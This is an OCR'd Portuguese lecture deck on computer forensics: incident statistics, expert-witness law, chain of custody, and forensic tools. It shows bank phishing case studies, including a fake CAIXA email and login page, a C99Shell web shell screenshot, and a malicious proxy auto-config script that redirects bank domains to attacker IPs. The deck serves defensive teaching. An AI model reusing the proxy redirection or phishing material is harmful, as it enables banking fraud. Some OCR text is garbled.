Computacao Forense,

Investigacao em ambiente
computacional

Prof. Marcos Monteiro

http://www.marcosmonteiro.com.br
contato@marcosmonteiro.com.br
g Marcos Monteiro



http://www.marcosmonteiro.com.br/
mailto:contato@marcosmonteiro.com.br

Centro de Estudos, Resposta e Tratamento de Incidentes de Seguranca

Total de Incidentes

500000

400000

300000

200000

100000

no Brasil

Total de Incidentes Reportados ao CERT.br por Ano

I I I Ll I I I 1 ¥ I

466029

399515

358343

222528
197892

160080

54607

25092
3107 5997 12301

142844

352925

1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013

Ano (1999 a dezembro de 2013)

l.—:E

Marcos Monteiro



Incidentes Reportados ao CERT.br -- Janeiro a Dezembro de 2012

Incidentes reportados
(Tipos de ataque)

Web (5.48%)
Invasao (1.68%)
DoS (0.07%)
Outros (19.70%)

Fraude (14.93%)

Incidentes reportados
(Tipos de ataque)

Worm (7.83%)
[ > - Web (5.30%)

Outros (12.16%)

Scan (46.86%)

Fraude (24.28%)




Incidentes Reportados ao CERT.br -- Janeiro a Dezembro de 2012

Tentativas de fraudes reportadas

Cavalos de Trdia (32.55%)

Direitos Autorais (6.54%)

" — Outras (5.85%)

Paginas Falsas (55.03%)

£

Incidentes Reportados ao CERT.br -- Janeiro a Dezembro de 2013

Tentativas de fraudes reportadas

Cavalos de Troia (27.40%:)

‘mms Autorais (5.92%)
= — Quitras (2.44%)

Paginas Falsas (64.25%)
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Posso fazer, ninguéem sabe que fui eu!

Q Marcos Monteiro



Ciéncia Forense Criminal

* A ciéncia forense criminal traz a pratica da investigacao o
chamamos de meétodo cientifico, ou metodologia cientifica, faze
se valer dos conhecimentos de diversos tipos de ciéncias

— como a matematica, quimica, fisica, biologia, gredic
engenharia e nos dias atuais a informatica_

& Marcos Monteiro



Computacao Forense

* “Ciéncia forense destinada a preservar,
adquirir, obter e apresentar dados que
foram processados eletronicamente e
armazenados em dispositivo de
computador.”

FBI

Q Marcos Monteiro




Perito

 Substantivo masculino.

—Aquele que é sabedor ou especialista em
determinado assunto;

— Aquele que se acha habilitado para fazer
pericia.

— Aquele que € nomeado judicialmente para
exame ou vistoria.

Q Marcos Monteiro




Habilidades de um Perito em
Computacao Forense

* Seguranca da Informacao;
* Resposta a Incidentes

* Auditoria de Sistemas




LEI N° 7.270, DE 10 DE DEZEMBRO DE 1984

Art. 1°- O art. 145 da Lei n°® 5.869, de 11 de janeiro de 1973 -
Caodigo de Processo Civil, passa a vigorar acrescido de trés
paragrafos com a segumte redacao:

§ 1° - Os peritos serao escolhidos entre profissionais de nivel
universitario, devidamente inscritos no érgao de classe
competente, respeitado o disposto no Capitulo VI, secao VII,
deste Cadigo.

§ 2° - Os peritos comprovarao sua especialidade na matéria
sobre que deverao opinar, mediante certidao do 6rgao
profissional em que estiverem inscritos.

§ 3° - Nas localidades onde nao houver profissionais qualificados
que preencham os requisitos dos paragrafos anteriores, a
indicacao dos peritos sera de livre escolha do juiz”.
Q Marcos Monteiro




Atuacao de um perito

* Perito do Juiz

* Varas civis e trabalhistas, ou seja, nomeado pelo
juiz do processo para proceder nos exames e
diligencias técnicas.
* Assistente Tecnico

* Auxiliar os advogados e partes processuais a
elaborar quesitos, acompanhar a diligencia e
exames nas defesas de seus interesses

* Consultor ou perito extrajudicial

* Elaborar parecer particular para anexar na peticao
do advogado dentro do processo.

Q Marcos Monteiro




Campos de atuacao da

Computacao Forense

Sistemas Operacionais

 Ambiente Windows
* Ambiente Unix-Like

Funcionalidade do S.O.

* Computadores domeésticos e pessoais
* Computadores corporativos ou servidores em geral

Conectividade

« Computadores nio rede
« Computadores em Rede

Tipos de rede

* Maio de cabo
* Sem fio

Sistemas (Codigo)
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Evidencia Digital

* Qualquer dado em meio digital que possa
colaborar no sentido de provar que uma
fraude ou irregularidade foi cometida e
que possa estabelecer vinculo de relacac
entre a fraude ou irregularidade e a vitima
e entre a vitima e o0 agente.

Q Marcos Monteiro




Técnicas Forenses

Preparacao

Chegada ao local da Investigacao
Coleta dos Dados

Exame dos Dados

Analise das Informacoes
Redacao do Laudo




Chegada ao local da Investigacao

Isolar a area> alteracdo e contaminacao
Fotografar ou Filma®» proximas etapas

Registro dos detalhe® reconstrucao
da cena

Manter o estado dos equipamentds
prioridade

Q Marcos Monteiro




Coleta dos Dados

Dados volateis
Data hora;
Conexoes de rede;
Memoria;
Configuracao da rede;
Processos em execucao;
Arquivos abertos;
Sessao de Login.

Dados nao-volateis
Log, temporarios e de configuracao;
Textos, planilhas, imagens, etc...

Q Marcos Monteiro




FORMULARIO DE CADEIA DE CUSTODIA

Caso Num.: 053203

EVIDENCIA ELETRONICA

MIDIA ELETRONICA/DETALHES EQUIPAMENTO

term: Descrigdo:
00001 HD de Motebook com B0GB de capacidacde
Fabricante: Modelo: MU, de setie:
TOSHIBA MEA026GAX 8sMC7639T

DETALHES SOBRE A IMAGEM DOS DADOS

Data/Hora: Criada por Metodo usado: Mome da lrmagern: Partes:
20/5/2007 15:30 Paulo A. Meukamp cefldd 053203_01.dd 01
Drive: HASH:
Disco Completo d243367072088feae88364977441d736
CADEIA DE CUSTODIA
Seqléncia; Data/Hora; origem: Desting bAotivio:
Data: HomeiZirg.: Homeiorg
001 201512007 Sigilo Lab. Peri. Unisings Investigagao sobre
Hora: Acsinatura; Assinatura; denuncia de Pedofilia
16:00

- Marcos Monteiro
-
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Copia Forense
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Etapas de uma Investigacao

Midias s—— Dad0os s [NfOrmMagoes === Evidéncias

=, Resultados
Colet E Anal
oleta Xxame >> halise >> Obtidos

- Marcos Monteiro
-




Analise das Informacoes
A etapa de analise das informacoes,

ocorre muitas vezes, paralela a etapa
de exame;

Finalidade de recriar o(s) evento(s) que
estao sendo investigado(s).

Q Marcos Monteiro
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Prezade Cliente, microservice@gmail.com

Foi langada uma nova cormegao para o Cadastramento de
computadores, esta corrige uma falha em nivel critico do sistema de
identificagao do cliente, que pode ccasionar perdas de dados e
problemas de acesso. A atuallzagao & simples e rapida, basta entrar
no link abaixo e em sequida acessar sua conta, e apés completar
todos os dados que pedirdo para efetuar uma atualizagao completa.

Para iniciar a atualizagdo siga o caminho abaixo:

https://internetbanking.caixa. com.br!kﬂ\rmogz{lndexﬁromsa

Atengao: Todos os usudrios devem se cadastrar e atualizar o
Cadastramento de Computadores. Caso a corregdo nao seja
realizada,
seu computader sera blequeado e o desbloqueio s6 podera ser
realizado nas agencias da CAIXA.

http://www.geodigitalgps.pl/ /internetbanking.caixa.gov.br
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Clique e saiba mais
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Ja possuo usuario
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BIEIE :

CAIXA

Identificacae do usuario

CATXA informe z

Senha Internet: ]

Esqueci minha senha

Dinjid=s Frequantas Dicas de Seguranga
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CAIXA

Atualizacao de dados Cadastrais

Informe os dados abaixo para realizar a atulizacdo dos dados cadastrais de sua conta.

CPF:
Agencia/Operacao/ Conta:

Senha do Cartao:

http://phudau.com/ finternetbanking.caixa.gov.br/img/btoRetornar.gif
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When You Tell Me That You Love Me

| wanna call the stars
Down from the sky

| wanna live a day

That never dies.

| wanna change the waorld
Only for you

All the Irfp_béal:i_:ie

| wanna do

NGHE THUAT SONG
Chia khéa din dén thanh céng
(Dan tri) - Chuyén gia nghé nghiép Cavil Coodidge chia sé: “N&u tai phai chon 3 tigu chi

quan trong quyétdinh dén thanh cong clia mot nguei thi niém tin, hanh dong va ky lust1a
“sur liya chon cia t8i,.".

MODRE:
* Camon d&i méi-som mai thic déy...
* 19 didu i n6i véri ban than

Ngh¢ thuiit song
« Chia khaa dan dén

thanh cong
Cam on déi mdi sém
mai thire day...
19 didu to nai voi ban
than
Naay clia Me(Mother's
Day)
Hanh phue va bathanh

Bai viét xem nhitu

nhit
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« 100 Bigu Lang Man
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« PHIL COLLINS - TRUE
COLORS

- Ranh ngén céng chirc

+ Kni “thang nha" dai tang
luerng:

Clip vui
. Thatis love
+ Another Day in Paradise
« Graduation (Friends
Forever) - Vitamin G
« JeffDunham & Peanut
- heaven's lunch
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Apache Server at phudau.com Port 80




marcos |
il .l B

: SI1C) phudau.com - phpshell - Mozilla Firefox
| Gmail - CAIXA - Seguranga. ... 0 | Mhttps://mail....isp=inline&zw phudau.com - phpshell * ||| 404 Nokt Found

i hitp://pugancomjjelitebhp  __________________ WI™C

@ C99Shell v. 1.0 pre-release build #16 §

Software: Apache, PHP/5.2.17
uname -a: Linux box304.bluehost.com 2.6.32-42.1.BHsmp #1 SMP Tue Jun 28 17:06:41 MDT 2011 x86_64

uid=1412(kinghelp) gid=1410(kinghelp) groups=1410(kingheip)
Safe-mode:

Jhome/kinghelp/public_htmil/phudau.com/ /

Fres 1365.8 GB of 1833.41 GB (74.5%)

ﬁ = = ‘! & % Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Insideteam Corporation - 2010

Listing folder (1 files and 3 folders):

Size Modify Owner/Group

LINK 04.09.2011 20 kinghelp/kinghelp
LINK 04.09.2011 20 kinghelp/kinghelp
DIR 04.09.2011 20 kinghelp/kinghelp
DIR 04.09.2011 20 kinghelp/kinghelp
DIR 04.09.2011 20 kinghelp/kinghelp
161.71 KB 04.09.2011 20 kinghelp/kinghelp

B [http-internetbanking.caixa.gov.br]
[ ] [https-internetbanking.caixa.gov.br]
[ ] [internetbanking.caixa.gov.br]

200208}
A LN

elite.php

| selectan | [ Unselectan | | with selected.—.| Confirm

:: Command execute ::

- | Execute

:: Shadow's tricks :D

Kernel Info:

Useful Commands
- | Execute | |Linux box304.bluehost.com 3| Search

| Kernel version
Warning. Kernel may be alerted using higher levels

:2 Preddy’'s tricks :D =2

Marcos Monteiro




Fraude com Malware

function FindProxyForURL(url, host) {

var n = new
Array("www.bb.com.br","bb.com.br","www.bancodobrasil.com.br","
descoprime.com.br","bradescoprime.com.br","www.itau.com.br","1
unibanco.com.br","real.com.br","www.real.com.br","www.bancorea
.com","serasa.com.br","www.serasa.com.br","www.santander.com.b
d.com.br”,"www.hipercard.com.br","www.credicardcitinovo.com.br

-----------------

return "PROXY 69.65.45.24:80"; } }

var € = new

Array("www.caixa.gov.br","caixa.gov.br","internetbanking.caixa
""caixaeconomica.com.br");

-----------------

return "PROXY 72.167.0.126:80"; } }

return "DIRECT"; }

i Marcos Monteiro
.




Log de acesso € a base

201.20. - - [04/Aug/2012:09:46:00 -0300] "GET /admi
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (
201.20. - - [04/Aug/2012:09:46:00 -0300] "GET /admi
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (
201.20. - - [04/Aug/2012:09:46:00 -0300] "GET /admi
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (
201.20. - - [@4/Aug/2012:09:46:00 -0300] "GET /admi
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (
201.20. - - [04/Aug/2012:09:46:00 -0300] "GET /admi
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (
201.20._  __ _ - - [04/Aug/2012:09:46:00 -0300] "GET /admi
(Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like G
201.20. - — [04/Auq/2012:09:46:00 -0300] "GET /admi

~ Marcos Monteiro
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Ana.org/numbers

LACNIC

Q@ w5
Registry Area Covered
AFRINIC  Africa Region
APNIC Asia/Pacific Region
ARIN North America Region
LACNIC Latin America and some Caribbean Islands

" RIPE NCC Europe, the Middle East, and Central Asia

Fecha estimada
de agotamiento 2014-06-19

E L) I | i L o A
it it il e 2y T A ———
et et Ladas o gt ot s

lista de Gobernanza de Internet | Lisiade Solicitides Aprobads

les invitamos gue se suscriban a la lista

<< Anterior | | Signiente > >

200.201.14.34




inetnum:
aut =mnum:
abuse-=c:
OWIEY &

ownerid:

responsible:

country:
OWNer-c:
tech-c:
inetrev:
NServer:
nsstat:
nslastaa:
NServer:
nsstat:
nslastaa:
created:
changed:

nic=-hdl-=br:

person:
e=mail:
created:
changed:

nic=hdl=br:

person:
e-malil:

created:
changed:

201.20
AS28598
SABNE4

007.870.

Rogério Gongalves

BR

MSTLTT
MSTLT7
201.20
CJama . b

-

20120803 AR

20120803
omega.t

20120803
20120803
20050715
20110217

MSTLT?7
1

¢ Telecomunicaoes ltda

registro.brel

20070420
20110720

SABNE4

20090923
20090923

Neto

Telecomunicacoes LEtda

Com. br

. com.br

LACNIC

- Marcos Monteiro
-




® Terminal Shell Editar Visualizar Janela Ajuda
ey N N

HaEEDDHEEfIN:H ﬁdagrii S

Fassword:
sh-3.2% nmap -s55% ._-;'Ell.._-_'EI-

Starting Nmap 6.01 [ http://nmap.org ) at 2012-06-04 1134 BRET
Mmap scan report for HIIIN5IGGGIGIIIIGGGEEDE (01 . 20

Host is up (0.018s latency].
Mot shown: 997 filtered ports
FORT STATE SERVILE
443/tcp open https

4444/ tcp open kKrb524

L2227/ tcp open  xmpp-client

Q Marcos Monteiro




sh-3.2% rmap -0 201,20,

Starting Nmap 6.81 [ hittp://nmap.org )1 at 2012-08-04 11:35 BET
Mmap scan report for [ 0120
Host 15 up (B,021s latency).

Mot shown: 999 filtered ports

FORT STATE SERVICE

443/ tcp open https

Warning: 055can results may be unreliable because we cCcould hot
Device type: general purpose

Funning: Microsoft Windows 2008

0% CFE: cpe:foimicrosoftiwindows serwver 2003::s5pl

0% details: Microsoft Windows Server 2808 5F1

0% detection performed. FPlease reporft any incorrect results at
Mmap done: 1 IF address (1 host up) scanned in 59.90 seconds
b :

Q Marcos Monteiro



otarial

»do do Ceara

eira de Deus

o g S : ; és de
Saibam quantos este publico instrumento virem que, aos quatro (4) dias dom

2014, as 10:39 horas, MONICA BOTELHO MOREIRA DE DEUS DE

junho do ano de
uta deste 10° Tabelionato de Notas de

FARIAS, brasileira, casada, escrevente substituta, substit 3
Fortaleza-CE, na conformidade dos poderes conferidos pelos arts. 679 € 680 do Provimento 1
01/2007 da/Corregedoria Geral da Justica do Estado do Ceara, art. 364 do CPC, e att. 7., 111 da
lei 8.935/94, vem, através da presente Ata Notarial, solicitada por MARCOS JOSE ALVES DE
BARROS MONTEIRO, brasileiro, divorciado, gerente de tecnologia da informagdo €
comunicagio da Agéncia de Defesa Agropecuaria do Estado’ do Cears, identidade Ty
=g - CPF n° = , com enderego profissional situado, nesta

Capital; na Ase Zesemond g —= Semmlip: O presente reconhecido pela
elatar

identidade apresentada como o proprio de que trato, de cuja capacidade juridica da fé, r
segue:; I - Verifiquei no site

10 Pas

LIVRO 01

FLS. 147 ~ Bt P y
e Comarca de Fortalez

Titular: Dra. Maria de Fatima Bote

pessoalmente 0 que se
https://’\wmxfacebook.com/pam'ciafaco‘?hcAlocation'—Timeline« consultado no dia 4/6/2014 as

10:39, o seguinte:

G |
+1 Adicionar a0s amigos

n = 5 Linha do Tempo ~ Recente ~
FEB woutures
saAlegria <)
3 . p Patricia ==
O clima pa A=

andonando o
anto para passar
maior no £aso

servidores estdo

cartiha
do = agiu da mesma forma por 1al

Didrio  Um protesto contra a Adagri - Didrio do Nordeste

2
L e

W
4

Ives Lima Ma: o & acasacaird!

1o

‘

s": Francisco Newton Rocha » Patricia Faco
i

-

Patricia parabéns pelo Seu aniversario. Mesmo atrasado

Chico Rocha

."
m
@

(@p]

te Castelo - Fortaleza - CE - Fone (85) 3223-9565
' site: Www.moreiradeus.com.br

Rua Ca iro Montenegro, 50 - Mon
Rua Cassim oy v 9

e-mail escritura@moreira

Marcos Monteiro



Ata Notarial

it 147 Comarca de Fortaleza - Estado do Ceara

ATa-0638 ;
‘\Titular: Dra. Maria de Fatima Botelho Moreira de Deus

, RN T ; : més de
Saibam quantos este publico instrumento virem que, a0s quatro (4) dias do

junho do ano de 2014, as 10:39 horas, MONICA BOTELHO MOREIRA DE DEUS DE
FARIAS, brasileira, casada, escrevente substituta, substituta deste 10° Tabelionato de Notas di
Fortaleza-CE, na conformidade dos poderes conferidos pelos arts. 679 € 680 do Provimento I
01/2007 da Corregedoria Geral da Justica do Estado do Ceard, art 264 do CPC, e art. 7°, 111 da
lei 8.935/94, vem, através da presente Ata Notarial, solicitada por MARCOS JOSE ALVES DE
ONTEIRO. brasileiro, : ' 3

%, identidade 1
e EEE=CE  CPF n° 22 NS, com enderego profissiona situado, nesta
Capital, na Asi Sasssmon s S5 " -—-ﬁ,-, Y presente' reconhecido pela
identidade apresentada como o proprio de que trato, de cuja capacidade juridica da fé, relatar
pessoalmente 0 que se segue: I = Verifiquei no site

hrtps:ffww.facebmk.comf_ consultado no dia 4/6/2014 as

10:39, o seguinte:

’ Facenfe
= llnha dn Tamna * Racanta ¥ +1 Adicionar a0s amigos | 2

! Marcos Monteiro
| i—




+1 Adicionar a0s amigos
wcente ™

p Patricia === oA

O clima na ADEE asta insustentavei, servidores estan abandonandsc O

_!-3 50 adoecendo e a gestdo ndo esla.nem al. se esluda ianto para passar
EI".:I um concurse pablico e quando se consegue. 0 Gestor Malor No Caso
Presidente que nAo € nem do quadrode servidores da I € uma
indicacdo pﬁlmca estd aterrorizandc os servidores que ndo reiam na sua
cartiiha O Geslor em guestio é 0 St A=t am qUE quando foi gestor
do £===C. agiu da mesma forma por ia!

* Injuria (art. 140 do Coédigo Penal):

* Injuriar alguém, ofendendo-lhe a dignidade ou o decoro: Pena -
detencao, de um a seis meses, ou multa.
! Marcos Monteiro




2. Registro.br

|ﬂ Nljcl_en l:i_e In_fnrmal:_ao e qu_rd_en;icau dE}_PﬂntD BR - NIC.BR [BR]|http_s:,"fregistmtb%i—bﬁfwﬁmis!ﬁrﬁ_p

Whois

i

a consulta

su

)
Q
v ]

Varsao com informagdes de contato

% Copyright (c) Nic.br

% A utilizagdo dos dados obaixo & permitida somente conforme
% descrito no Termo de Uso Chttp://registro.br/termo), sendo
% proibida a sua distribuicdo, comercializacgdo ou reproducdo,
% em particular para fins publicitdrios ou propbsitos

% similares.

% Z2014-06-82 14:53:32 (BRT -03:08)

dominio: marcosmonteiro. com.br

titular: micro service comercio e servicoes em informatica
documento: B06.932.414/0091-35

responsdvel: marcos jose alves de barros monteiro
pais: ER

c-titular: MIMZ5E

c-admin: MIMZ58

c-técnico: MIMZ58

c-cobranga: MIMZ58

servidor DNS: dnsl.argohost.net

status DN5: @l/86/2@814 AA

ultimo AA: @l/06/ 2014

servidor DNS: dnsZ.argohost.net

status DN5: @1/@6/ 2814 AA

Ultimo AA: @l/06/2014

servidor DN5: dns3.argohost.net

Monteiro



Unix Like - Acesso nao autorizado!

| erminal | erminal
root@MM: /PS# tail -n 25 /var/log/auth.log
Jun 3 14:45:39 MM login[26873]: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid
=0 tty=/dev/tty1 ruser= rhost= user=joao
3 14:45:39 MM login[26873]: pam_winbind(login:auth): getting password (0x00000388)
3 14:45:39 MM login[26873]: pam_winbind(login:auth): pam_get_item returned a password
3 14:45:39 MM login[26873]: pam_winbind(login:auth): request wbcLogonUser failed: WBC_ERR_AUTH_ERR
PAM error: PAM_USER_UNKNOWN (10), NTSTATUS: NT_STATUS_NO_SUCH_USER, Error message was: No such user
3 14:45:43 MM login[26873]: FAILED LOGIN (1) on '/dev/tty1l' FOR 'joao', Authentication failure
3 14:45:46 MM login[26873]: pam_winbind(login:auth): getting password (0x00000388)
3 14:45:46 MM login[26873]: pam_winbind(login:auth): pam_get_item returned a password
3 14:45:46 MM login[26873]: pam_winbind(login:auth): request wbclLogonUser failed: WBC_ERR_AUTH_ERR
PAM error: PAM_USER_UNKNOWN (10), NTSTATUS: NT_STATUS_NO_SUCH_USER, Error message was: No such user
3 14:45:50 MM login[26873]: FAILED LOGIN (2) on '/dev/tty1l' FOR 'joao', Authentication failure
3 14:45:54 MM login[26873]: pam_winbind(login:auth): getting password (0x00000388)
3 14:45:54 MM login[26873]: pam_winbind(login:auth): pam_get_item returned a password
3 14:45:54 MM login[26873]: pam_winbind(login:auth): request wbclLogonUser failed: WBC_ERR_AUTH_ERR
PAM error: PAM_USER_UNKNOWN (10), NTSTATUS: NT_STATUS_NO_SUCH_USER, Error message was: No such user
3 14:45:56 MM login[26873]: FAILED LOGIN (3) on '/dev/tty1l' FOR 'joao', Authentication failure
3 14:46:00 MM login[26873]: pam_unix(login:auth): check pass; user unknown
3 14:46:00 MM login[26873]: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid
=0 tty= idev!tty1 ruser= rhost=
:00 login[26873]: pam_winbind(login:auth): getting password (0x00000388)
login[26873]: pam_winbind(login:auth): pam_get_item returned a password
login[26873]: FAILED LOGIN (4) on '/dev/tty1' FOR 'UNKNOWN', Authentication failure
11 login[26968]: pam_unix(login:session): session opened for user root by LOGIN(uid=0)
login[26994]: ROOT LOGIN on '/dev/ttyl'
login[26968]: pam_unix(login:session): session closed for user root
CRON[31317]: pam_unix(cron:session): session opened for user root by (uid=0)
CRON[31317]: pam_unix(cron:session): session closed for user root
CRON[339]: pam_unix(cron:session): session opened for user root by (uid=0)
CRON[339]: pam_unix(cron:session): session closed for user root

WWwwwwwwwww

Onde lé /dev/tty1 podera contar o IP quando o

acesso for externo.

Q Marcos Monteiro



Unix Like - History

Terminal

root@MM: ~# tail -n 30 /root/.bash_history
nome=%$(dialog --stdout --inputbox

clear

vim dialogexemplo

chmod 777 dialogexemplo

./dialogexemplo

apt-cache search dialog

apt-get install dialog

./dialogexemplo

clear

vim dialogexemplo2

chmod 777 dialogexemplo2

./dialogexemplo2

./dialogexemplo2

clear

tail -5 /etc/passwd

vim suprocesso

chmod 777 suprocesso

./suprocesso

clear m
clear BN Marcos Monteiro




Unix Like - Ultimos Arquivos modificados

Terminal

root@MM: /PS# 1ls -Rlti

20

-rw-r--r--
=Fr'WXIrwxrwx
~FWXIrwWXrwx
=F'WXIrwWXrwx
-rw-r--r--
=FWXTIWXIrwx

root
root
root
root
root
root

Terminal

arq

suprocesso
dialogexemplo2
dialogexemplo
arquivo.txt
caseexe

g Marcos Monteiro




Windows
Vamos Peritar!!!

* |dentificando o seu sistema.
—WinAudit
—Windows Forensic Toolchest™ (WFT)

Q Marcos Monteiro




Vamos Peritar!!

* Os arquivos mais recentes criados na
maquina.
— RecentFilesView

Q Marcos Monteiro




* As ultimas linhas de registro que foram
modificadas

—RegScanner

Q Marcos Monteiro




* Monitorando Arquivos que estao sendo
executados em tempo real para analise.

— Filemon

Q Marcos Monteiro




|dentificando o perfil de acesso do usuario a
Internet

* Historico de Internet

— pasco
— |[ECacheView
— MozillaCacheView

* Ultimas pesquisas feitas na internet
— MyLastSearch

Q Marcos Monteiro




* Arquivos que foram deletados para a
lixeira
—rifiuti

g Marcos Monteiro




* Recuperando arquivos Deletados
— GetDataBack

g Marcos Monteiro




* |dentificando Acesso do Pen Drive
—USBDeview

g Marcos Monteiro




* |[dentificando arquivos com atributos
— Attrib

g Marcos Monteiro




Esteganografia

* Esteganografia (do grego "escrita
escondida") € o estudo e uso das tecnicas
para ocultar a existéncia de uma
mensagem dentro de outra. Em outras
palavras, esteganografia € o ramo
particular da criptologia que consiste em
fazer com que uma mensagem seja
camuflada, mascarando sua presenca.

— Camouflage

Q Marcos Monteiro




Distribuicoes Linux para Pericia Computacional

Forense
Distribuicoes Linux Analisadas
Nome Baseada Verséao Data Nomenclatura
DEFT Ubuntu 1.0 22/3/2007 Digital Evidence Forense Toolkit
BackTrack Slackware 2.0 06/03/2007 N/A
INSERT Knoppix 1.3.9b 16/02/2007 Inside Security Rescue Toolkit
nUbuntu Ubuntu 6.10 21/11/2006 Network Ubuntu
FCCU Knoppix 11.0 19/10/2006 Federal Computer Crime Unit
Helix Knoppix 1.8 06/10/2006 N/A
Operator Knoppix 3.3.20 01/10/2005 N/A
PHLAK Morphix 0.3 07/05/2005 Professional Hacker's Linux Assault Kit
L.A.S Linux Knoppix 0.5 06/03/2004 Local Area Security
Knoppix-STD Knoppix 0.1 21/01/2004 STD - Security Tools Distribution

g Marcos Monteiro




Redacao do Laudo

Finalidade do relatorid Objetivos da Investigacao;

Autor(es) do relatorieEspecialidade e
responsabilidades;

Resumo do incident® Incidente e suas
consequéncias;

Estado das evidéncia® Como, quando e por quem;
Detalhes> Quais evidéncias, métodos, procedimentos
Conclusao> Evidéncias que comprovem;

Anexos> Toda documentacao.

Q Marcos Monteiro




Muito obrigado!!

PERGUNTAS ?

Prof. Marcos Monteiro

contato@marcosmonteiro.com.br
http://www.marcosmonteiro.com.br

- Marcos Monteiro
-



mailto:contato@marcosmonteiro.com.br
http://www.marcosmonteiro.com.br/
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